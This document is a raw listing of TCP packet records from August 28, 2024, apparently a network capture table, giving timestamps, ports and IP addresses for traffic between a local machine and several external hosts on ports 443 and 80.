Aug 28, 2024 22:20:29.520941973 CEST	443	49715	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:29.521012068 CEST	49715	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:29.521012068 CEST	49715	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:29.521039009 CEST	443	49715	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:29.521141052 CEST	443	49715	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:29.521339893 CEST	49715	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:29.521524906 CEST	49715	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:29.521538019 CEST	443	49715	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:29.521557093 CEST	49715	443	192.168.2.16	40.126.32.68
Aug 28, 2024 22:20:29.521565914 CEST	443	49715	40.126.32.68	192.168.2.16
Aug 28, 2024 22:20:29.561362028 CEST	49716	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:29.561405897 CEST	443	49716	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:29.561583042 CEST	49716	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:29.561830997 CEST	49716	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:29.561845064 CEST	443	49716	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:30.328810930 CEST	443	49716	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:30.328905106 CEST	49716	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:30.330492020 CEST	49716	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:30.330502987 CEST	443	49716	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:30.330725908 CEST	443	49716	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:30.331815958 CEST	49716	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:30.331855059 CEST	443	49716	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:30.331914902 CEST	49716	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:30.395275116 CEST	49717	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:30.395313978 CEST	443	49717	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:30.395401001 CEST	49717	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:30.395683050 CEST	49717	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:30.395699978 CEST	443	49717	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:30.957133055 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 28, 2024 22:20:31.021003962 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 28, 2024 22:20:31.155316114 CEST	443	49717	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:31.155414104 CEST	49717	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:31.156681061 CEST	49717	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:31.156697035 CEST	443	49717	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:31.156932116 CEST	443	49717	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:31.158040047 CEST	49717	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:31.158077002 CEST	443	49717	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:31.158133984 CEST	49717	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:31.226257086 CEST	49718	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:31.226291895 CEST	443	49718	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:31.226402044 CEST	49718	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:31.226665974 CEST	49718	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:31.226679087 CEST	443	49718	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:31.261004925 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 28, 2024 22:20:31.451136112 CEST	49718	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:31.535288095 CEST	49719	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:31.535326958 CEST	443	49719	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:31.535403967 CEST	49719	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:31.535769939 CEST	49719	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:31.535794020 CEST	443	49719	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:31.867026091 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 28, 2024 22:20:32.306750059 CEST	443	49719	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:32.306843996 CEST	49719	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:32.308104038 CEST	49719	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:32.308124065 CEST	443	49719	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:32.308384895 CEST	443	49719	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:32.309493065 CEST	49719	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:32.309529066 CEST	443	49719	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:32.309580088 CEST	49719	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:32.569919109 CEST	49720	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:32.569957972 CEST	443	49720	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:32.570041895 CEST	49720	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:32.570344925 CEST	49720	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:32.570364952 CEST	443	49720	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:33.081989050 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 28, 2024 22:20:33.353811979 CEST	443	49720	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:33.353900909 CEST	49720	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:33.355057955 CEST	49720	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:33.355066061 CEST	443	49720	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:33.355272055 CEST	443	49720	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:33.356345892 CEST	49720	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:33.356379032 CEST	443	49720	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:33.356475115 CEST	443	49720	51.104.136.2	192.168.2.16
Aug 28, 2024 22:20:33.356532097 CEST	49720	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:33.356549025 CEST	49720	443	192.168.2.16	51.104.136.2
Aug 28, 2024 22:20:35.493025064 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 28, 2024 22:20:35.829024076 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 28, 2024 22:20:36.544694901 CEST	49721	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:20:36.544723988 CEST	443	49721	104.47.64.28	192.168.2.16
Aug 28, 2024 22:20:36.544796944 CEST	49721	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:20:36.545799971 CEST	49721	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:20:36.545813084 CEST	443	49721	104.47.64.28	192.168.2.16
Aug 28, 2024 22:20:37.136168003 CEST	443	49721	104.47.64.28	192.168.2.16
Aug 28, 2024 22:20:37.137352943 CEST	49721	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:20:37.137377977 CEST	443	49721	104.47.64.28	192.168.2.16
Aug 28, 2024 22:20:37.138505936 CEST	443	49721	104.47.64.28	192.168.2.16
Aug 28, 2024 22:20:37.138571024 CEST	49721	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:20:37.141208887 CEST	49721	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:20:37.141278028 CEST	443	49721	104.47.64.28	192.168.2.16
Aug 28, 2024 22:20:37.141608000 CEST	49721	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:20:37.141617060 CEST	443	49721	104.47.64.28	192.168.2.16
Aug 28, 2024 22:20:37.182996035 CEST	49721	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:20:37.275983095 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 28, 2024 22:20:38.431766033 CEST	443	49721	104.47.64.28	192.168.2.16
Aug 28, 2024 22:20:38.431869984 CEST	443	49721	104.47.64.28	192.168.2.16
Aug 28, 2024 22:20:38.431977987 CEST	49721	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:20:38.432389021 CEST	49721	443	192.168.2.16	104.47.64.28
Aug 28, 2024 22:20:38.432404041 CEST	443	49721	104.47.64.28	192.168.2.16
Aug 28, 2024 22:20:38.903918028 CEST	49726	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:20:38.903945923 CEST	443	49726	209.208.100.119	192.168.2.16
Aug 28, 2024 22:20:38.904025078 CEST	49726	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:20:38.904300928 CEST	49726	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:20:38.904315948 CEST	443	49726	209.208.100.119	192.168.2.16
Aug 28, 2024 22:20:39.442008018 CEST	443	49726	209.208.100.119	192.168.2.16
Aug 28, 2024 22:20:39.442323923 CEST	49726	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:20:39.442337990 CEST	443	49726	209.208.100.119	192.168.2.16
Aug 28, 2024 22:20:39.443428040 CEST	443	49726	209.208.100.119	192.168.2.16
Aug 28, 2024 22:20:39.443542004 CEST	49726	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:20:39.443548918 CEST	443	49726	209.208.100.119	192.168.2.16
Aug 28, 2024 22:20:39.443634987 CEST	49726	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:20:39.444493055 CEST	49726	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:20:39.444551945 CEST	443	49726	209.208.100.119	192.168.2.16
Aug 28, 2024 22:20:39.444665909 CEST	49726	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:20:39.444673061 CEST	443	49726	209.208.100.119	192.168.2.16
Aug 28, 2024 22:20:39.487104893 CEST	49726	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:20:39.615396976 CEST	443	49726	209.208.100.119	192.168.2.16
Aug 28, 2024 22:20:39.615480900 CEST	443	49726	209.208.100.119	192.168.2.16
Aug 28, 2024 22:20:39.615616083 CEST	49726	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:20:39.616036892 CEST	49726	443	192.168.2.16	209.208.100.119
Aug 28, 2024 22:20:39.616050005 CEST	443	49726	209.208.100.119	192.168.2.16
Aug 28, 2024 22:20:39.644817114 CEST	49727	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:39.644843102 CEST	443	49727	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:39.644917011 CEST	49727	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:39.645121098 CEST	49727	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:39.645133972 CEST	443	49727	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:40.300045967 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 28, 2024 22:20:40.311779976 CEST	443	49727	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:40.312139988 CEST	49727	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:40.312156916 CEST	443	49727	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:40.313246965 CEST	443	49727	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:40.313309908 CEST	49727	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:40.314358950 CEST	49727	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:40.314426899 CEST	443	49727	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:40.314543009 CEST	49727	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:40.314552069 CEST	443	49727	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:40.364115953 CEST	49727	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:40.708247900 CEST	443	49727	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:40.708667040 CEST	443	49727	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:40.709013939 CEST	49727	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:40.709795952 CEST	49727	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:40.709816933 CEST	443	49727	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:40.712268114 CEST	49728	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:40.712316036 CEST	443	49728	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:40.712392092 CEST	49728	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:40.712625027 CEST	49728	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:40.712637901 CEST	443	49728	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:41.249541998 CEST	49729	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:20:41.249574900 CEST	443	49729	172.217.16.132	192.168.2.16
Aug 28, 2024 22:20:41.249646902 CEST	49729	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:20:41.249865055 CEST	49729	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:20:41.249874115 CEST	443	49729	172.217.16.132	192.168.2.16
Aug 28, 2024 22:20:41.411123991 CEST	443	49728	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:41.411407948 CEST	49728	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:41.411423922 CEST	443	49728	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:41.411765099 CEST	443	49728	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:41.412136078 CEST	49728	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:41.412194014 CEST	443	49728	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:41.412278891 CEST	49728	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:41.456511021 CEST	443	49728	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:41.808918953 CEST	443	49728	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:41.809004068 CEST	443	49728	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:41.809073925 CEST	49728	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:41.809849977 CEST	49728	443	192.168.2.16	167.86.102.97
Aug 28, 2024 22:20:41.809868097 CEST	443	49728	167.86.102.97	192.168.2.16
Aug 28, 2024 22:20:41.897686958 CEST	443	49729	172.217.16.132	192.168.2.16
Aug 28, 2024 22:20:41.898149967 CEST	49729	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:20:41.898156881 CEST	443	49729	172.217.16.132	192.168.2.16
Aug 28, 2024 22:20:41.899241924 CEST	443	49729	172.217.16.132	192.168.2.16
Aug 28, 2024 22:20:41.899307966 CEST	49729	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:20:41.900248051 CEST	49729	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:20:41.900309086 CEST	443	49729	172.217.16.132	192.168.2.16
Aug 28, 2024 22:20:41.945518970 CEST	49729	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:20:41.945535898 CEST	443	49729	172.217.16.132	192.168.2.16
Aug 28, 2024 22:20:41.986042023 CEST	49729	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:20:42.609635115 CEST	49730	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:42.609668016 CEST	443	49730	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:42.609731913 CEST	49730	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:42.610093117 CEST	49731	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:42.610124111 CEST	443	49731	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:42.610177994 CEST	49731	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:42.610332012 CEST	49730	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:42.610343933 CEST	443	49730	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:42.610497952 CEST	49731	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:42.610511065 CEST	443	49731	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:43.502933979 CEST	443	49730	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:43.504065037 CEST	49730	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:43.504082918 CEST	443	49730	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:43.505135059 CEST	443	49730	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:43.505218029 CEST	49730	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:43.506098032 CEST	49730	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:43.506159067 CEST	443	49730	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:43.506268024 CEST	49730	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:43.506689072 CEST	443	49731	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:43.506897926 CEST	49731	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:43.506922960 CEST	443	49731	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:43.507949114 CEST	443	49731	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:43.508008957 CEST	49731	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:43.508238077 CEST	49731	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:43.508297920 CEST	443	49731	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:43.547137976 CEST	49730	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:43.547151089 CEST	443	49730	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:43.562127113 CEST	49731	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:43.562139988 CEST	443	49731	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:43.594438076 CEST	49730	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:43.610014915 CEST	49731	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:45.439047098 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 28, 2024 22:20:46.250351906 CEST	443	49730	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:46.250439882 CEST	443	49730	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:46.250499964 CEST	49730	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:46.251282930 CEST	49730	443	192.168.2.16	183.90.238.45
Aug 28, 2024 22:20:46.251305103 CEST	443	49730	183.90.238.45	192.168.2.16
Aug 28, 2024 22:20:46.331644058 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:46.331687927 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:46.331748009 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:46.332055092 CEST	49733	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:46.332084894 CEST	443	49733	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:46.332138062 CEST	49733	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:46.332317114 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:46.332328081 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:46.332499981 CEST	49733	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:46.332510948 CEST	443	49733	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:46.991663933 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:46.992022991 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:46.992047071 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:46.993062973 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:46.993163109 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:46.994059086 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:46.994117022 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:46.994224072 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:46.994230986 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:47.010055065 CEST	443	49733	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:47.010305882 CEST	49733	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:47.010370970 CEST	443	49733	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:47.011435986 CEST	443	49733	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:47.011514902 CEST	49733	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:47.011765003 CEST	49733	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:47.011833906 CEST	443	49733	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:47.035119057 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:47.067061901 CEST	49733	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:47.067085028 CEST	443	49733	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:47.115111113 CEST	49733	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:48.813436031 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.813467979 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.813474894 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.813488007 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.813519001 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.813524008 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:48.813545942 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.813570023 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:48.813592911 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:48.815025091 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.815069914 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.815083981 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:48.815093040 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.815119028 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:48.815133095 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:48.920136929 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.920161963 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.920247078 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:48.920265913 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.920306921 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:48.922132969 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.922149897 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.922228098 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:48.922235012 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.922276974 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:48.924171925 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.924189091 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.924258947 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:48.924267054 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.924295902 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:48.924314976 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:48.926172018 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.926188946 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.926239014 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:48.926244020 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:48.926269054 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:48.926295042 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.033950090 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.033976078 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.034055948 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.034074068 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.034117937 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.035474062 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.035489082 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.035547972 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.035556078 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.035595894 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.036869049 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.036885977 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.036952972 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.036959887 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.037041903 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.037781000 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.037796974 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.037861109 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.037867069 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.037900925 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.038618088 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.038691998 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.038698912 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.038726091 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.038774014 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.039124966 CEST	49732	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.039143085 CEST	443	49732	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.447509050 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.447560072 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.447644949 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.447907925 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.447921038 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.453244925 CEST	49733	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.453303099 CEST	49733	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:49.453382015 CEST	443	49733	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:49.912049055 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 28, 2024 22:20:50.130141973 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:50.130454063 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:50.130469084 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:50.130805016 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:50.131167889 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:50.131227970 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:50.183020115 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:50.681754112 CEST	443	49733	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:50.681843996 CEST	443	49733	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:50.681905031 CEST	49733	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:50.683001995 CEST	49733	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:50.683031082 CEST	443	49733	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:50.685194969 CEST	49735	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:20:50.728503942 CEST	443	49735	185.225.69.39	192.168.2.16
Aug 28, 2024 22:20:51.807853937 CEST	443	49729	172.217.16.132	192.168.2.16
Aug 28, 2024 22:20:51.807945013 CEST	443	49729	172.217.16.132	192.168.2.16
Aug 28, 2024 22:20:51.808057070 CEST	49729	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:20:52.777313948 CEST	49729	443	192.168.2.16	172.217.16.132
Aug 28, 2024 22:20:52.777343988 CEST	443	49729	172.217.16.132	192.168.2.16
